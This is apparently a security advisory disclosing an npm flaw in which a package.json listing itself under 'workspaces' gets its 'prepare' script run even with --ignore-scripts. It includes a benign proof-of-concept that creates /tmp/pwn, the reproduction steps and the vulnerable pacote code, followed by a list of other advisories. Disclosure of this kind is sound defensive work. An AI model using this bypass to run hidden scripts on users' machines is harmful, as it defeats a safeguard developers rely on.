NPM: Ignore Script Bypass
MediumPublished May 22, 2023
### Summary An attacker can craft a malicious package.json file that bypasses the --ignore-scripts security flag. This leads to arbitrary system command execution when a victim executes npm install -–ignore-scripts on the malicious package. ### Severity Moderate - This vulnerability bypasses the `--ignore-scripts` option intended to prevent malicious users from executing arbitrary build scripts. ### Proof of Concept 1. Place the following package.json file into a temporary directory: ```json { "name": "rce-test", "dependencies": { }, "workspaces": [ "." ], "scripts": { "prepare": "touch /tmp/pwn" } } ``` 2. Run npm install –-ignore-scripts in the same directory. 3. Check if /tmp/pwn has been created ### Further Analysis When a local directory is listed as a dependency, pacote executes the prepare script even if the --ignore-scripts flag is set. This is because no check is present: https://github.dev/npm/pacote/blob/a08a9a39bae0ddd73605b0d06bd227897d2f9567/lib/dir.js#L48-L60 ``` return runScript({ pkg: mani, event: 'prepare', path: this.resolved, stdio, banner, env: { npm_package_...
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| NPM npm | < Nopatchedversionsatthistime. | Nopatchedversionsatthistime. |
Details and references
### Summary An attacker can craft a malicious package.json file that bypasses the --ignore-scripts security flag. This leads to arbitrary system command execution when a victim executes npm install -–ignore-scripts on the malicious package. ### Severity Moderate - This vulnerability bypasses the `--ignore-scripts` option intended to prevent malicious users from executing arbitrary build scripts. ### Proof of Concept 1. Place the following package.json file into a temporary directory: ```json { "name": "rce-test", "dependencies": { }, "workspaces": [ "." ], "scripts": { "prepare": "touch /tmp/pwn" } } ``` 2. Run npm install –-ignore-scripts in the same directory. 3. Check if /tmp/pwn has been created ### Further Analysis When a local directory is listed as a dependency, pacote executes the prepare script even if the --ignore-scripts flag is set. This is because no check is present: https://github.dev/npm/pacote/blob/a08a9a39bae0ddd73605b0d06bd227897d2f9567/lib/dir.js#L48-L60 ``` return runScript({ pkg: mani, event: 'prepare', path: this.resolved, stdio, banner, env: { npm_package_resolved: this.resolved, npm_package_integrity: this.integrity, npm_package_json: resolve(this.resolved, 'package.json'), }, }) }) ``` ### Timeline **Date reported**: 02/20/2023 **Date fixed**: **Date disclosed**: 05/21/2023
- Severity from
- GitHub (reviewed advisory)
More Google advisories
All Google| Date | Advisory | Severity | Fixed in |
|---|---|---|---|
| Jun 282023 | Harbor: Container Compromise Due to default Credentials | Critical | v1.3.18 |
| Jun 212023 | Connect2id: Timing attack in Nimbus-Jose | Medium | No fix yet |
| Jun 212023 | Portainer: Self-XSS | Low | 2.18.1 |
| Jun 152023 | Apple: Airpods Pro Device Link without Key | High | No fix yet |
| Apr 272023 | Jose4j: Chosen Ciphertext Attack in Jose4j | Medium | No fix yet |
| Apr 182023 | Linux Kernel: Spectre-v1 gadgets | Medium | SeeAdditionalInfo |